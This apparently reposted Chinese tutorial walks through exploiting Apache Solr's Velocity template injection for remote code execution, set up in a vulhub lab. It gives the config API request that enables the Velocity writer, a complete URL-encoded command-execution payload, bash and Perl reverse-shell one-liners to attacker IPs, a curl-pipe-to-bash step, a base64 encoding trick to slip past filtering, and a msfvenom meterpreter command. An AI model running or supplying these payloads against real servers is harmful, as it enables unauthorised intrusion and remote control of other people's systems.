Apache Solr Velocity模板注入rce+获取交互式shell

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Apache Solr Velocity模板注入rce+获取交互式shell，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含3783字，纯文字阅读大概需要6分钟。

内容图文

前言：

官方的poc、exp payload只能获取很低的命令执行权限，甚至有些符号、命令还被过滤了，例如管道符被过滤。并且不能写入、下载文件，不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。

0x01影响范围

Apache Solr 5.x - 8.2.0，存在config API版本

0x02环境搭建

vulhub上有几个apache solr的环境，我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞（CVE-2019-0193）”

进入到vulhub目录下的solr漏洞的CVE-2019-0193下，然后执行命令：

docker-compose up -d

一键开启环境，这个环境的solr是8.1.1，那么存在该漏洞。

开启环境后，我们要先创建名为test的core，这才将漏洞环境完整搭好，命令为：

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

dokcer ps看一下端口，然后进行http://ip:端口,访问    默认8983端口

 

 

 

0x04漏洞利用

我们要知道目标机的core名称才能进行下一步攻击，例如我们刚刚创建的core名称为test，我们看看 core admin

 

 

 确定了core名称为test，我们试着访问一下 http://host/solr/test/config

 

 

 能显示出如下代码那么就没问题，接下来发一个post包（伪造一个post包，可以抓刚刚/solr/test/config的get请求包，然后改成post请求），post数据为：

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

post请求头可为：

 POST /solr/test/config HTTP/1.1
 Host: 192,168.1.146:8983
 Content-Type: application/json
 Content-Length: 263

基础的参数在就行，也可以加上user-agent

发包，响应包出现200则成功

 

 

 之后就可以用我们的官方exp的payload：

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

命令执行的地方在exec里面，我标红了的

 

 

 但是这里不能写入下载文件，就种不了马。我们需要一个交互式的shell。

0x05利用反弹获取交互式shell

一开始一般想到直接使用bash反弹命令：bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 但是使用之后并不会执行，它直接返回500错误

 

 

 vps上监听根本没有流量，然后想到将bash反弹脚本写在vps上，然后在目标执行curl ip/bash.sh | bash，然后在vps上监听，但是发现也执行不了，目标直接将脚本里面的命令输出在页面上了：

一般linux都带perl，那么试着用perl反弹命令：

perl -e 'use Socket;$i="167.107.0.1";$p=25555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"167.107.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

共有两条命令，第二条是不依赖/bin/bash的，全都试了试，都不行，报500错误，应该是哪个符号或者哪个命令被禁止执行了。

 

 

 还试了java反弹，也不行。那么现在这种状态应该只有想到通过绕过执行反弹命令了。

在网上摸取到了一个姿势，将bash命令进行runtime编码，然后再进行url编码即可绕过大部分waf，这里也可以绕过。

当然runtime编码是没有在线的，需要的话要去网上下载源码进行编译执行。

但这里针对bash反弹命令：bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 这个的话，有一个规律的：

最前面跟上一个bash -c 
格式为：bash -c {}|{base64,-d}|{bash,-i}
第一个大括号里面为bash整个反弹命令的base64编码

例如：bash -c {YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

再将runtime后的整个字符串进行url编码转换就行了。

 

 

 将编码后的反弹命令拿去RCE处进行执行

 

 

 vps上成功接收到交互式shell。

0x06 利用perl脚本加msf获取交互式shell

msf生成命令：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf

接下来就参考: https://forum.90sec.com/t/topic/579

 

 

内容总结

以上是互联网集市为您收集整理的Apache Solr Velocity模板注入rce+获取交互式shell全部内容，希望文章能够帮你解决Apache Solr Velocity模板注入rce+获取交互式shell所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---